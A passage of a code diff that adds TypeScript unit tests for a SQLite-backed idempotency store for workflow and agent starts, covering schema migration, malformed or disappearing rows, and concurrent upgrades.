+      resume = resolve;
+    });
+    const identity = structuredClone(execution);
+    let clock = 3_000;
+    const store = new StartIdempotencyStore(
+      interceptReservations(h.binding, async (sql, execute) => {
+        if (sql.startsWith('PRAGMA')) await held;
+        return execute();
+      }),
+      { now: () => clock },
+    );
+    const settling = store.settleExecution(identity);
+    Object.assign(identity, { workflowId: 'other', startToken: 'other' });
+    Object.assign(identity.owner, { id: 'other' });
+    Object.assign(identity.target, { id: 'other' });
+    clock = 9_000;
+    resume();
+    await expect(settling).resolves.toBe(1);
+    expect(rows(h.sqlite)[0]?.updated_at).toBe(3_000);
+    const prepare = vi.fn(h.binding.prepare.bind(h.binding));
+    await expect(
+      new StartIdempotencyStore(
+        { prepare },
+        { now: () => Number.NaN },
+      ).settleExecution(execution),
+    ).rejects.toBeInstanceOf(StartReservationUnreadableError);
+    expect(prepare).not.toHaveBeenCalled();
+    for (const stage of [0, 1, 2])
+      await expect(
+        schemaHarness(stage).store.settleExecution(execution),
+      ).rejects.toBeInstanceOf(StartReservationUnreadableError);
+    expect(await harness().store.settleExecution(execution)).toBe(0);
+    for (const root of [true, false]) {
+      const missing = new Error('no such table: flowsafe_start_idempotency');
+      const cause = root
+        ? new Error('wrapper', { cause: missing })
+        : new Error(missing.message, { cause: new Error('transport') });
+      const broken = new StartIdempotencyStore(
+        interceptReservations(h.binding, async () => {
+          throw cause;
+        }),
+      );
+      if (root)
+        await expect(broken.settleExecution(execution)).resolves.toBe(0);
+      else
+        await expect(broken.settleExecution(execution)).rejects.toMatchObject({
+          cause,
+        });
+    }
+  });
+
+  it.each([
+    'associateReservation',
+    'bindPreparedStart',
+  ] as const)('%s retains the original thrown write cause when its row is absent or readback fails', async (method) => {
+    for (const mode of ['unbound', 'absent', 'dropped', 'read-error']) {
+      const h = await modern('started');
+      const cause = new Error('write response unavailable');
+      let reads = 0;
+      let updates = 0;
+      const store = new StartIdempotencyStore(
+        interceptReservations(h.binding, async (sql, execute) => {
+          if (sql.startsWith('UPDATE')) {
+            updates += 1;
+            if (mode === 'absent')
+              h.sqlite.exec('DELETE FROM flowsafe_start_idempotency');
+            if (mode === 'dropped')
+              h.sqlite.exec('DROP TABLE flowsafe_start_idempotency');
+            throw cause;
+          }
+          if (sql.startsWith('SELECT')) {
+            reads += 1;
+            if (mode === 'read-error') throw new Error('readback failed');
+          }
+          return execute();
+        }),
+      );
+      await expect(store[method](h.observed, execution)).rejects.toMatchObject({
+        cause,
+      });
+      expect(updates).toBe(1);
+      expect(reads).toBe(1);
+    }
+  });
+
+  it.each([
+    ...methods,
+    'settleExecution' as const,
+  ])('%s handles a table disappearing after schema validation without recreating it', async (method) => {
+    const h = await modern(
+      method === 'claimReservation' ? 'reserved' : 'started',
+    );
+    const store = new StartIdempotencyStore(
+      interceptReservations(h.binding, async (sql, execute) => {
+        if (sql.startsWith('UPDATE'))
+          h.sqlite.exec('DROP TABLE flowsafe_start_idempotency');
+        return execute();
+      }),
+    );
+    const operation =
+      method === 'settleExecution'
+        ? store.settleExecution(execution)
+        : invoke(store, method, h.observed);
+    if (method === 'settleExecution') await expect(operation).resolves.toBe(0);
+    else
+      await expect(operation).rejects.toBeInstanceOf(
+        StartReservationUnreadableError,
+      );
+    expect(
+      h.sqlite
+        .prepare("SELECT name FROM sqlite_master WHERE type = 'table'")
+        .all(),
+    ).toEqual([]);
+  });
+
+  it.each([
+    'duplicate',
+    'foreign',
+    'timestamp',
+    'sparse',
+    'failed',
+    'throw',
+  ] as const)('settlement rejects %s responses without recovery or restamping on retry', async (mode) => {
+    const h = await modern('started');
+    await h.store.bindPreparedStart(h.observed, execution);
+    const queries: string[] = [];
+    const store = new StartIdempotencyStore(
+      interceptReservations(h.binding, async (sql, execute) => {
+        queries.push(sql);
+        const result = (await execute()) as {
+          results: Array<Record<string, unknown>>;
+        };
+        if (!sql.startsWith('UPDATE')) return result;
+        const row = result.results[0];
+        if (!row) throw new Error('settlement row is missing');
+        if (mode === 'throw') throw new Error('lost settlement response');
+        if (mode === 'failed') return { success: false, results: [row] };
+        if (mode === 'sparse') return { results: new Array(1) };
+        return {
+          results:
+            mode === 'duplicate'
+              ? [row, row]
+              : [
+                  {
+                    ...row,
+                    [mode === 'foreign' ? 'start_token' : 'updated_at']:
+                      mode === 'foreign' ? 'other' : 99,
+                  },
+                ],
+        };
+      }),
+      { now: () => 2_000 },
+    );
+    await expect(store.settleExecution(execution)).rejects.toBeInstanceOf(
+      StartReservationUnreadableError,
+    );
+    expect(queries.some((sql) => sql.startsWith('SELECT'))).toBe(false);
+    expect(await h.store.settleExecution(execution)).toBe(0);
+    expect(rows(h.sqlite)[0]?.updated_at).toBe(2_000);
+  });
+});
+
+describe('strict initial-admission reservation observations', () => {
+  it.each([
+    'row',
+    'schema',
+  ])('rejects inherited slots in the reservation %s observation', async (mode) => {
+    const { sqlite, binding } = schemaHarness(3);
+    const sparse = (rows: unknown[]) =>
+      Object.setPrototypeOf(
+        new Array(rows.length),
+        Object.assign(Object.create(Array.prototype), rows),
+      );
+    if (mode === 'schema') {
+      const columns = sqlite
+        .prepare('PRAGMA table_xinfo(flowsafe_start_idempotency)')
+        .all();
+      expect(() =>
+        validateStartReservationAdmissionSchema({ results: sparse(columns) }),
+      ).toThrow('invalid row');
+    } else {
+      const wrapped = interceptReservations(binding, async (sql, execute) => {
+        const result = (await execute()) as { results: unknown[] };
+        return sql.startsWith('SELECT * FROM flowsafe_start_idempotency')
+          ? { results: sparse(result.results) }
+          : result;
+      });
+      await expect(
+        new StartIdempotencyStore(wrapped).readForAdmission('key'),
+      ).rejects.toBeInstanceOf(StartReservationUnreadableError);
+    }
+  });
+  it('does not let a custom iterator hide a malformed admission row', async () => {
+    const { binding } = schemaHarness(3);
+    const wrapped = interceptReservations(binding, async (sql, execute) => {
+      const result = (await execute()) as { results: unknown[] };
+      if (!sql.startsWith('SELECT * FROM flowsafe_start_idempotency'))
+        return result;
+      const rows = [null];
+      Object.defineProperty(rows, Symbol.iterator, {
+        value: function* () {
+          yield* result.results;
+        },
+      });
+      return { results: rows };
+    });
+    await expect(
+      new StartIdempotencyStore(wrapped).readForAdmission('key'),
+    ).rejects.toBeInstanceOf(StartReservationUnreadableError);
+  });
+  it('rejects the first malformed schema envelope even if its getter later returns real columns', () => {
+    const { sqlite } = schemaHarness(3);
+    const columns = sqlite
+      .prepare('PRAGMA table_xinfo(flowsafe_start_idempotency)')
+      .all();
+    let reads = 0;
+    expect(() =>
+      validateStartReservationAdmissionSchema({
+        get results() {
+          return ++reads === 1 ? [null] : columns;
+        },
+      }),
+    ).toThrow('invalid row');
+    expect(reads).toBe(1);
+  });
+  it.each([
+    'envelope',
+    'element',
+  ])('captures one %s observation before admission decoding', async (mode) => {
+    const { binding, sqlite } = schemaHarness(3);
+    sqlite.exec("UPDATE flowsafe_start_idempotency SET start_token = ''");
+    let reads = 0;
+    const wrapped = interceptReservations(binding, async (sql, execute) => {
+      const result = (await execute()) as { results: unknown[] };
+      if (!sql.startsWith('SELECT * FROM flowsafe_start_idempotency'))
+        return result;
+      if (mode === 'envelope')
+        return {
+          get results() {
+            return ++reads === 1 ? result.results : new Array(1);
+          },
+        };
+      const rows: unknown[] = [];
+      Object.defineProperty(rows, 0, {
+        get() {
+          return ++reads === 1 ? result.results[0] : undefined;
+        },
+      });
+      return { results: rows };
+    });
+    expect(
+      (await new StartIdempotencyStore(wrapped).readForAdmission('key'))?.runId,
+    ).toBe('run');
+    expect(reads).toBe(1);
+  });
+  const raw = {
+    key: 'key',
+    owner_kind: 'human',
+    owner_id: 'owner',
+    target_kind: 'workflow',
+    target_id: 'workflow',
+    run_id: 'run',
+    thread_id: null,
+    state: 'started',
+    created_at: 100,
+    updated_at: 200,
+    start_token: '',
+    start_table_prefix: null,
+    start_workflow_id: null,
+  };
+
+  it.each([
+    ['workflow', 'thread', 'admission workflow thread must be null'],
+    ['workflow', 'bad/thread', 'admission workflow thread must be null'],
+    ['agent', null, 'admission agent thread is invalid'],
+    ['agent', undefined, 'admission agent thread is invalid'],
+    ['agent', 'bad/thread', 'admission agent thread is invalid'],
+  ])('validates raw %s thread %s before normalization', (target_kind, thread_id, cause) => {
+    expect(() =>
+      decodeStartReservationAdmissionResult({
+        results: [{ ...raw, target_kind, thread_id }],
+      }),
+    ).toThrow(cause);
+  });
+
+  it('validates every own current field and logical identifier with populated rows', () => {
+    for (const key of Object.keys(raw)) {
+      const row = Object.fromEntries(
+        Object.entries(raw).filter(([name]) => name !== key),
+      );
+      expect(() =>
+        decodeStartReservationAdmissionResult({ results: [row] }),
+      ).toThrow(`row is missing ${key}`);
+    }
+    for (const target_id of ['', 'bad/id'])
+      expect(() =>
+        decodeStartReservationAdmissionResult({
+          results: [{ ...raw, target_id }],
+        }),
+      ).toThrow('admission target id is invalid');
+    expect(() =>
+      decodeStartReservationAdmissionResult({
+        results: [{ ...raw, key: 'bad/key' }],
+      }),
+    ).toThrow('admission key is invalid');
+    expect(() =>
+      decodeStartReservationAdmissionResult({ results: new Array(1) }),
+    ).toThrow('invalid row');
+    expect(() =>
+      decodeStartReservationAdmissionResult({ results: [raw, raw] }),
+    ).toThrow('multiple rows');
+    expect(
+      decodeStartReservationAdmissionResult({ results: [raw] })?.threadId,
+    ).toBeUndefined();
+    expect(
+      decodeStartReservationAdmissionResult({
+        results: [{ ...raw, target_kind: 'agent', thread_id: 'thread' }],
+      })?.threadId,
+    ).toBe('thread');
+  });
+
+  it('requires a current schema without readiness writes and preserves ordinary compatibility', async () => {
+    const { sqlite, binding, store } = harness();
+    expect(store.usesDatabase(binding)).toBe(true);
+    expect(store.usesDatabase({ ...binding })).toBe(false);
+    await expect(store.readForAdmission('absent')).rejects.toBeInstanceOf(
+      StartReservationUnreadableError,
+    );
+    expect(
+      sqlite
+        .prepare("SELECT name FROM sqlite_master WHERE type = 'table'")
+        .all(),
+    ).toEqual([]);
+    sqlite.exec(START_IDEMPOTENCY_DDL);
+    const schema = sqlite
+      .prepare('PRAGMA table_xinfo(flowsafe_start_idempotency)')
+      .all();
+    for (let stage = 0; stage < 3; stage += 1)
+      expect(() =>
+        validateStartReservationAdmissionSchema({
+          results: schema.slice(0, 10 + stage),
+        }),
+      ).toThrow('admission requires current schema');
+    expect(() =>
+      validateStartReservationAdmissionSchema({ results: schema }),
+    ).not.toThrow();
+    await expect(store.readForAdmission('absent')).resolves.toBeUndefined();
+    sqlite
+      .prepare(
+        'INSERT INTO flowsafe_start_idempotency VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
+      )
+      .run(...Object.values({ ...raw, thread_id: 'bad/thread' }));
+    expect((await store.read('key'))?.threadId).toBeUndefined();
+    const error = await store
+      .readForAdmission('key')
+      .catch((error: unknown) => error);
+    expect(error).toMatchObject({
+      status: 503,
+      cause: {
+        message: expect.stringContaining(
+          'admission workflow thread must be null',
+        ),
+      },
+    });
+    expect(
+      sqlite.prepare('SELECT thread_id FROM flowsafe_start_idempotency').get(),
+    ).toEqual({ thread_id: 'bad/thread' });
+  });
+});
+
 function harness(now: () => number = () => 1_000) {
   const sqlite = openSqlite();
   const binding = sqliteUnitDatabase(sqlite) as StartIdempotencyDatabase;
@@ -60,6 +1351,59 @@ function rows(sqlite: SqliteDatabase): Array<Record<string, unknown>> {
     .all() as Array<Record<string, unknown>>;
 }
 
+const bindingColumns = [
+  'start_token',
+  'start_table_prefix',
+  'start_workflow_id',
+];
+const legacyBinding = {
+  start_token: null,
+  start_table_prefix: null,
+  start_workflow_id: null,
+};
+
+function schemaHarness(stage: number) {
+  const fixture = harness();
+  fixture.sqlite.exec(START_IDEMPOTENCY_DDL);
+  for (const column of bindingColumns.slice(stage).reverse())
+    fixture.sqlite.exec(
+      `ALTER TABLE ${START_IDEMPOTENCY_TABLE} DROP COLUMN ${column}`,
+    );
+  fixture.sqlite
+    .prepare(
+      `INSERT INTO ${START_IDEMPOTENCY_TABLE} (key, owner_kind, owner_id, target_kind, target_id, run_id, thread_id, state, created_at, updated_at) VALUES ('key', 'human', 'operator-1', 'workflow', 'payout', 'run', NULL, 'started', 10, 20)`,
+    )
+    .run();
+  return fixture;
+}
+
+function interceptReservations(
+  db: StartIdempotencyDatabase,
+  intercept: (sql: string, execute: () => Promise<unknown>) => Promise<unknown>,
+): StartIdempotencyDatabase {
+  const statement = (
+    sql: string,
+    values: unknown[],
+  ): StartIdempotencyStatement => ({
+    bind: (...bound) => statement(sql, bound),
+    run: () =>
+      intercept(sql, () =>
+        db
+          .prepare(sql)
+          .bind(...values)
+          .run(),
+      ),
+    all: async <T>() =>
+      (await intercept(sql, () =>
+        db
+          .prepare(sql)
+          .bind(...values)
+          .all(),
+      )) as { results: T[] },
+  });
+  return { prepare: (sql) => statement(sql, []) };
+}
+
 function workflowRequest(key: string, runId: string, workflowId = 'payout') {
   return {
     key,
@@ -128,6 +1472,565 @@ describe('isStartReservationRefusal', () => {
   });
 });
 
+describe('reservation binding representation', () => {
+  it('reads legacy and supported partial reservation schemas without DDL', async () => {
+    for (const stage of [0, 1, 2, 3]) {
+      const { sqlite, binding } = schemaHarness(stage);
+      const statements: string[] = [];
+      const store = new StartIdempotencyStore(
+        interceptReservations(binding, async (sql, execute) => {
+          statements.push(sql);
+          return execute();
+        }),
+      );
+      expect(await store.read('key')).toMatchObject({
+        key: 'key',
+        binding: { kind: 'legacy' },
+      });
+      expect(await store.reservationsForRuns(['run'])).toHaveLength(1);
+      expect(await store.read('missing')).toBeUndefined();
+      sqlite.exec(`DELETE FROM ${START_IDEMPOTENCY_TABLE}`);
+      expect(await store.read('key')).toBeUndefined();
+      expect(await store.reservationsForRuns(['run'])).toEqual([]);
+      expect(statements.every((sql) => /^(SELECT|PRAGMA)/.test(sql))).toBe(
+        true,
+      );
+      expect(
+        sqlite.prepare(`PRAGMA table_xinfo(${START_IDEMPOTENCY_TABLE})`).all(),
+      ).toHaveLength(10 + stage);
+    }
+    const { sqlite, binding, store } = schemaHarness(0);
+    expect((await store.read('key'))?.binding).toEqual({ kind: 'legacy' });
+    let advanced = false;
+    const reader = new StartIdempotencyStore(
+      interceptReservations(binding, async (sql, execute) => {
+        const result = await execute();
+        if (!advanced && sql.startsWith('SELECT *')) {
+          advanced = true;
+          for (const column of bindingColumns)
+            sqlite.exec(
+              `ALTER TABLE ${START_IDEMPOTENCY_TABLE} ADD COLUMN ${column} TEXT`,
+            );
+          sqlite.exec(
+            `UPDATE ${START_IDEMPOTENCY_TABLE} SET start_token = 'generation', start_table_prefix = '', start_workflow_id = 'payout'`,
+          );
+        }
+        return result;
+      }),
+    );
+    expect((await reader.read('key'))?.binding).toEqual({ kind: 'legacy' });
+    expect((await store.read('key'))?.binding).toEqual({
+      kind: 'bound',
+      execution: {
+        tablePrefix: '',
+        workflowId: 'payout',
+        runId: 'run',
+        startToken: 'generation',
+      },
+    });
+  });
+
+  it('resumes concurrent reservation schema upgrades without changing rows', async () => {
+    for (const stopAfter of [1, 2, 3]) {
+      const { sqlite, binding } = schemaHarness(0);
+      const before = rows(sqlite)[0];
+      let additions = 0;
+      let stopped = false;
+      const crashed = new StartIdempotencyStore(
+        interceptReservations(binding, async (sql, execute) => {
+          if (stopped) throw new Error('process interrupted');
+          const result = await execute();
+          if (sql.startsWith('ALTER TABLE') && ++additions === stopAfter)
+            stopped = true;
+          return result;
+        }),
+      );
+      await expect(
+        crashed.reserve(workflowRequest('new', 'new-run')),
+      ).rejects.toBeInstanceOf(StartReservationUnreadableError);
+      expect(
+        sqlite.prepare(`PRAGMA table_xinfo(${START_IDEMPOTENCY_TABLE})`).all(),
+      ).toHaveLength(10 + stopAfter);
+      const recovered = new StartIdempotencyStore(binding);
+      await recovered.reserve(workflowRequest('new', 'new-run'));
+      expect(
+        sqlite
+          .prepare(`SELECT * FROM ${START_IDEMPOTENCY_TABLE} WHERE key = 'key'`)
+          .get(),
+      ).toEqual({ ...before, ...legacyBinding });
+    }
+    for (const outcome of ['before', 'after', 'incompatible'] as const) {
+      const { sqlite, binding } = schemaHarness(0);
+      const failure = new Error('ALTER response lost');
+      let injected = false;
+      const store = new StartIdempotencyStore(
+        interceptReservations(binding, async (sql, execute) => {
+          if (injected || !sql.startsWith('ALTER TABLE')) return execute();
+          injected = true;
+          if (outcome === 'after') await execute();
+          if (outcome === 'incompatible')
+            sqlite.exec(
+              `ALTER TABLE ${START_IDEMPOTENCY_TABLE} ADD COLUMN start_token INTEGER`,
+            );
+          throw failure;
+        }),
+      );
+      if (outcome === 'after')
+        await expect(
+          store.reserve(workflowRequest('new', 'new-run')),
+        ).resolves.toMatchObject({
+          reservation: { binding: { kind: 'unbound' } },
+        });
+      else {
+        const error = await store
+          .reserve(workflowRequest('new', 'new-run'))
+          .catch((error: unknown) => error);
+        expect(error).toBeInstanceOf(StartReservationUnreadableError);
+        if (outcome === 'before') {
+          expect((error as Error).cause).toBe(failure);
+          await expect(
+            store.reserve(workflowRequest('retry', 'retry-run')),
+          ).resolves.toMatchObject({ created: true });
+        } else
+          expect(String((error as Error).cause)).toContain(
+            'column start_token differs',
+          );
+      }
+    }
+    const { sqlite, binding, store: competing } = schemaHarness(0);
+    let raced = false;
+    const first = new StartIdempotencyStore(
+      interceptReservations(binding, async (sql, execute) => {
+        if (!raced && sql.startsWith('ALTER TABLE')) {
+          raced = true;
+          await competing.reserve(workflowRequest('other', 'other-run'));
+        }
+        return execute();
+      }),
+    );
+    await first.reserve(workflowRequest('first', 'first-run'));
+    expect(rows(sqlite)).toHaveLength(3);
+    expect(
+      sqlite.prepare(`PRAGMA table_xinfo(${START_IDEMPOTENCY_TABLE})`).all(),
+    ).toHaveLength(13);
+    const empty = harness();
+    const hostReady = new StartIdempotencyStore(empty.binding, {
+      ready: async () => {
+        empty.sqlite.exec(START_IDEMPOTENCY_DDL);
+      },
+    });
+    await expect(
+      hostReady.reserve(workflowRequest('new', 'run')),
+    ).resolves.toMatchObject({ created: true });
+    const legacy = schemaHarness(0);
+    const noMigration = new StartIdempotencyStore(legacy.binding, {
+      ready: async () => {},
+    });
+    await expect(
+      noMigration.reserve(workflowRequest('new', 'run')),
+    ).rejects.toMatchObject({
+      cause: {
+        message: `${START_IDEMPOTENCY_TABLE} has an invalid reservation schema (host readiness did not reach the current schema)`,
+      },
+    });
+    expect(
+      legacy.sqlite
+        .prepare(`PRAGMA table_xinfo(${START_IDEMPOTENCY_TABLE})`)
+        .all(),
+    ).toHaveLength(10);
+  });
+
+  it('distinguishes legacy unbound D1-bound and unfenced-bound reservations', async () => {
+    const { sqlite, store, binding } = schemaHarness(3);
+    for (const [token, prefix, workflow, expected] of [
+      [null, null, null, { kind: 'legacy' }],
+      ['', null, null, { kind: 'unbound' }],
+      [
+        'generation',
+        '',
+        'payout',
+        {
+          kind: 'bound',
+          execution: {
+            tablePrefix: '',
+            workflowId: 'payout',
+            runId: 'run',
+            startToken: 'generation',
+          },
+        },
+      ],
+      [
+        'generation',
+        null,
+        'payout',
+        {
+          kind: 'bound',
+          execution: {
+            tablePrefix: null,
+            workflowId: 'payout',
+            runId: 'run',
+            startToken: 'generation',
+          },
+        },
+      ],
+    ] as const) {
+      sqlite
+        .prepare(
+          `UPDATE ${START_IDEMPOTENCY_TABLE} SET start_token = ?, start_table_prefix = ?, start_workflow_id = ?`,
+        )
+        .run(token, prefix, workflow);
+      expect((await store.read('key'))?.binding).toEqual(expected);
+    }
+    for (const values of [
+      [null, '', null],
+      ['', '', null],
+      ['generation', null, null],
+      ['generation', 'Mixed_', 'payout'],
+      ['bad token', '', 'payout'],
+      ['generation', '', 'bad/workflow'],
+    ]) {
+      sqlite
+        .prepare(
+          `UPDATE ${START_IDEMPOTENCY_TABLE} SET start_token = ?, start_table_prefix = ?, start_workflow_id = ?`,
+        )
+        .run(...values);
+      await expect(store.read('key')).rejects.toBeInstanceOf(
+        StartReservationUnreadableError,
+      );
+    }
+    sqlite.exec(
+      `UPDATE ${START_IDEMPOTENCY_TABLE} SET start_token = 'generation', start_table_prefix = '', start_workflow_id = 'payout', target_kind = 'agent'`,
+    );
+    await expect(store.read('key')).rejects.toBeInstanceOf(
+      StartReservationUnreadableError,
+    );
+    sqlite.exec(
+      `UPDATE ${START_IDEMPOTENCY_TABLE} SET target_kind = 'workflow', start_token = NULL, start_table_prefix = NULL, start_workflow_id = NULL`,
+    );
+    for (const result of [
+      null,
+      {},
+      { results: null },
+      { results: [undefined] },
+      { results: new Array(1) },
+      { results: [], success: false },
+    ]) {
+      const corrupt = new StartIdempotencyStore(
+        interceptReservations(binding, async (sql, execute) =>
+          sql.startsWith('SELECT *') ? result : execute(),
+        ),
+      );
+      await expect(corrupt.read('key')).rejects.toBeInstanceOf(
+        StartReservationUnreadableError,
+      );
+    }
+    for (const stage of [1, 2]) {
+      const partial = schemaHarness(stage);
+      partial.sqlite.exec(
+        `UPDATE ${START_IDEMPOTENCY_TABLE} SET start_token = ''`,
+      );
+      await expect(partial.store.read('key')).rejects.toMatchObject({
+        cause: {
+          message: `${START_IDEMPOTENCY_TABLE} has an invalid reservation schema (partial binding is not legacy defaults)`,
+        },
+      });
+      await expect(
+        partial.store.reserve(workflowRequest('new', 'new-run')),
+      ).rejects.toBeInstanceOf(StartReservationUnreadableError);
+      expect(
+        partial.sqlite
+          .prepare(`PRAGMA table_xinfo(${START_IDEMPOTENCY_TABLE})`)
+          .all(),
+      ).toHaveLength(10 + stage);
+    }
+    for (const [schema, field] of [
+      [
+        START_IDEMPOTENCY_DDL.replace(
+          'start_token TEXT',
+          'start_token INTEGER',
+        ),
+        'start_token',
+      ],
+      [
+        START_IDEMPOTENCY_DDL.replace(
+          'start_table_prefix TEXT',
+          'start_table_prefix TEXT DEFAULT NULL',
+        ),
+        'start_table_prefix',
+      ],
+      [
+        START_IDEMPOTENCY_DDL.replace(
+          'owner_id TEXT NOT NULL,\n    target_kind',
+          'target_id_alias TEXT NOT NULL,\n    target_kind',
+        ),
+        'owner_id',
+      ],
+    ] as const) {
+      const malformed = harness();
+      malformed.sqlite.exec(schema);
+      const ownerColumn = schema.includes('target_id_alias')
+        ? 'target_id_alias'
+        : 'owner_id';
+      malformed.sqlite.exec(
+        `INSERT INTO ${START_IDEMPOTENCY_TABLE} (key,owner_kind,${ownerColumn},target_kind,target_id,run_id,state,created_at,updated_at) VALUES ('key','human','operator-1','workflow','payout','run','started',10,20)`,
+      );
+      await expect(malformed.store.read('key')).rejects.toMatchObject({
+        cause: {
+          message: `${START_IDEMPOTENCY_TABLE} has an invalid reservation schema (column ${field} differs)`,
+        },
+      });
+    }
+  });
+
+  it('captures the first ready getter result with the store receiver', async () => {
+    const { sqlite, binding } = harness();
+    let getterReads = 0;
+    const calls: number[] = [];
+    const receivers: StartIdempotencyStore[] = [];
+    const store = new StartIdempotencyStore(binding, {
+      get ready() {
+        const selected = ++getterReads;
+        return async function (this: StartIdempotencyStore) {
+          calls.push(selected);
+          receivers.push(this);
+          sqlite.exec(START_IDEMPOTENCY_DDL);
+        };
+      },
+    });
+    await store.reserve(workflowRequest('first', 'first-run'));
+    await store.reserve(workflowRequest('second', 'second-run'));
+    expect(getterReads).toBe(1);
+    expect(calls).toEqual([1, 1]);
+    expect(receivers).toEqual([store, store]);
+  });
+
+  it('captures reserve authority and mint callback before readiness waits', async () => {
+    const { sqlite, binding } = harness();
+    let calls = 0;
+    const request = {
+      key: 'key',
+      owner: { ...OWNER, id: 'operator-1' },
+      targetKind: 'agent' as 'agent' | 'workflow',
+      targetId: 'agent',
+      threadId: 'thread',
+      marker: 'receiver',
+      mintRunId() {
+        expect(this.marker).toBe('receiver');
+        calls += 1;
+        this.targetId = 'mint-mutated';
+        return 'run';
+      },
+    };
+    const store = new StartIdempotencyStore(binding, {
+      ready: async () => {
+        sqlite.exec(START_IDEMPOTENCY_DDL);
+        request.owner.id = 'other';
+        request.targetKind = 'workflow';
+        request.targetId = 'changed';
+        request.threadId = 'changed';
+        request.mintRunId = () => {
+          throw new Error('replacement mint');
+        };
+      },
+    });
+    const created = await store.reserve(request);
+    expect(calls).toBe(1);
+    expect(created.reservation).toMatchObject({
+      owner: OWNER,
+      targetKind: 'agent',
+      targetId: 'agent',
+      threadId: 'thread',
+      runId: 'run',
+      binding: { kind: 'unbound' },
+    });
+    const counts = new Map<string, number>();
+    const data = workflowRequest('getter-key', 'getter-run');
+    const getters = Object.defineProperties(
+      {},
+      Object.fromEntries(
+        Object.entries(data).map(([field, value]) => [
+          field,
+          {
+            get() {
+              const count = (counts.get(field) ?? 0) + 1;
+              counts.set(field, count);
+              return count === 1 ? value : 'changed';
+            },
+          },
+        ]),
+      ),
+    );
+    await expect(
+      new StartIdempotencyStore(binding).reserve(getters as typeof data),
+    ).resolves.toMatchObject({
+      created: true,
+      reservation: { targetId: 'payout' },
+    });
+    expect([...counts.values()].every((count) => count === 1)).toBe(true);
+    const invalid = harness();
+    await expect(
+      invalid.store.reserve({
+        ...workflowRequest('key', 'run'),
+        mintRunId: false as never,
+      }),
+    ).rejects.toBeInstanceOf(InvalidStartIdempotencyRequestError);
+    expect(
+      invalid.sqlite
+        .prepare('SELECT name FROM sqlite_schema WHERE type = ?')
+        .all('table'),
+    ).toEqual([]);
+    const shadowed = harness();
+    let readyCalls = 0;
+    let mintCalls = 0;
+    const mint = () => {
+      mintCalls += 1;
+      return 'captured-run';
+    };
+    const ready = async () => {
+      readyCalls += 1;
+      shadowed.sqlite.exec(START_IDEMPOTENCY_DDL);
+      Object.defineProperty(mint, 'call', { value: () => 'replacement-run' });
+    };
+    Object.defineProperty(ready, 'call', {
+      value: () => {
+        throw new Error('shadowed call invoked');
+      },
+    });
+    await expect(
+      new StartIdempotencyStore(shadowed.binding, { ready }).reserve({
+        ...workflowRequest('shadowed', 'unused'),
+        mintRunId: mint,
+      }),
+    ).resolves.toMatchObject({ reservation: { runId: 'captured-run' } });
+    expect([readyCalls, mintCalls]).toEqual([1, 1]);
+  });
+
+  it.each([
+    {
+      name: 'a binding tail hole',
+      missingToken: true,
+      schemaStage: 3,
+      cause: 'binding prefix has a hole',
+    },
+    {
+      name: 'a row binding ahead of the schema',
+      missingToken: false,
+      schemaStage: 2,
+      cause: 'schema observation precedes row binding',
+    },
+  ])('rejects $name without writes', async (scenario) => {
+    const { sqlite, binding } = schemaHarness(3);
+    const before = rows(sqlite);
+    const observed = before.map((row) => ({ ...row }));
+    if (scenario.missingToken) {
+      for (const row of observed) delete row.start_token;
+    }
+    const schema = sqlite
+      .prepare(`PRAGMA table_xinfo(${START_IDEMPOTENCY_TABLE})`)
+      .all();
+    const statements: string[] = [];
+    const store = new StartIdempotencyStore(
+      interceptReservations(binding, async (sql, execute) => {
+        statements.push(sql);
+        if (sql.startsWith('SELECT *')) return { results: observed };
+        if (sql.startsWith('PRAGMA'))
+          return { results: schema.slice(0, 10 + scenario.schemaStage) };
+        return execute();
+      }),
+    );
+    for (const read of [
+      () => store.read('key'),
+      () => store.reservationsForRuns(['run']),
+    ]) {
+      const error = await read().catch((error: unknown) => error);
+      expect(error).toBeInstanceOf(StartReservationUnreadableError);
+      expect((error as StartReservationUnreadableError).status).toBe(503);
+      expect(String((error as Error).cause)).toContain(scenario.cause);
+    }
+    expect(statements.every((sql) => /^(SELECT|PRAGMA)/.test(sql))).toBe(true);
+    expect(rows(sqlite)).toEqual(before);
+    expect(
+      sqlite.prepare(`PRAGMA table_xinfo(${START_IDEMPOTENCY_TABLE})`).all(),
+    ).toEqual(schema);
+  });
+
+  it('rejects invalid reservation observations without absence fallback', async () => {
+    const { sqlite, binding } = schemaHarness(3);
+    const valid = rows(sqlite)[0];
+    if (valid === undefined) throw new Error('fixture reservation is missing');
+    const cases = [
+      {
+        name: 'wrong key',
+        rows: [{ ...valid, key: 'other-key' }],
+        lookup: false,
+        schemaMissing: false,
+        cause: 'requested singleton key',
+      },
+      {
+        name: 'multiple rows',
+        rows: [valid, valid],
+        lookup: false,
+        schemaMissing: false,
+        cause: 'requested singleton key',
+      },
+      {
+        name: 'foreign run',
+        rows: [{ ...valid, run_id: 'other-run' }],
+        lookup: true,
+        schemaMissing: false,
+        cause: 'unrequested run',
+      },
+      ...Object.keys(valid)
+        .slice(0, 10)
+        .map((field) => {
+          const copy = { ...valid };
+          delete copy[field];
+          return {
+            name: `missing ${field}`,
+            rows: [copy],
+            lookup: false,
+            schemaMissing: false,
+            cause: `row is missing ${field}`,
+          };
+        }),
+      ...[[], [valid]].map((result) => ({
+        name: 'schema disappeared',
+        rows: result,
+        lookup: false,
+        schemaMissing: true,
+        cause: 'row observation has no schema',
+      })),
+    ];
+    for (const scenario of cases) {
+      const statements: string[] = [];
+      const store = new StartIdempotencyStore(
+        interceptReservations(binding, async (sql, execute) => {
+          statements.push(sql);
+          if (sql.startsWith('SELECT *')) return { results: scenario.rows };
+          if (scenario.schemaMissing && sql.startsWith('PRAGMA'))
+            return { results: [] };
+          return execute();
+        }),
+      );
+      const error = await (scenario.lookup
+        ? store.reservationsForRuns(['run'])
+        : store.read('key')
+      ).catch((error: unknown) => error);
+      expect(error, scenario.name).toBeInstanceOf(
+        StartReservationUnreadableError,
+      );
+      expect((error as StartReservationUnreadableError).status).toBe(503);
+      expect(String((error as Error).cause), scenario.name).toContain(
+        scenario.cause,
+      );
+      expect(statements.every((sql) => /^(SELECT|PRAGMA)/.test(sql))).toBe(
+        true,
+      );
+      expect(rows(sqlite)).toEqual([valid]);
+    }
+  });
+});
+
 describe('StartIdempotencyStore.reserve', () => {
   it('creates the reservation and reports the caller as its creator', async () => {
     // #given a key nobody has used
@@ -311,116 +2214,6 @@ describe('StartIdempotencyStore.reserve', () => {
   });
 });
 
-describe('StartIdempotencyStore.claim', () => {
